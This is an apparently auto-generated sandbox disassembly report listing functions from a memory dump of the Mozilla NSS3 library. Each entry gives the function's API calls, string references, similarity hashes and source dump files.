Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

nvl, xrefs: 6C689E7D, 6C689EA8
flags = 0x%x, xrefs: 6C689E60
hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
C_SessionCancel, xrefs: 6C689DF1
(CK_INVALID_HANDLE), xrefs: 6C689E2C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

%s at line %d of [%.10s], xrefs: 6C5F3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
database corruption, xrefs: 6C5F316C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

winUnmapfile1, xrefs: 6C642F55
winTruncate1, xrefs: 6C642EBE
winUnmapfile2, xrefs: 6C642F7F
@vl, xrefs: 6C642E24
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C
winTruncate2, xrefs: 6C642EF8
vl, xrefs: 6C642DD0
winSeekFile, xrefs: 6C642E9C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
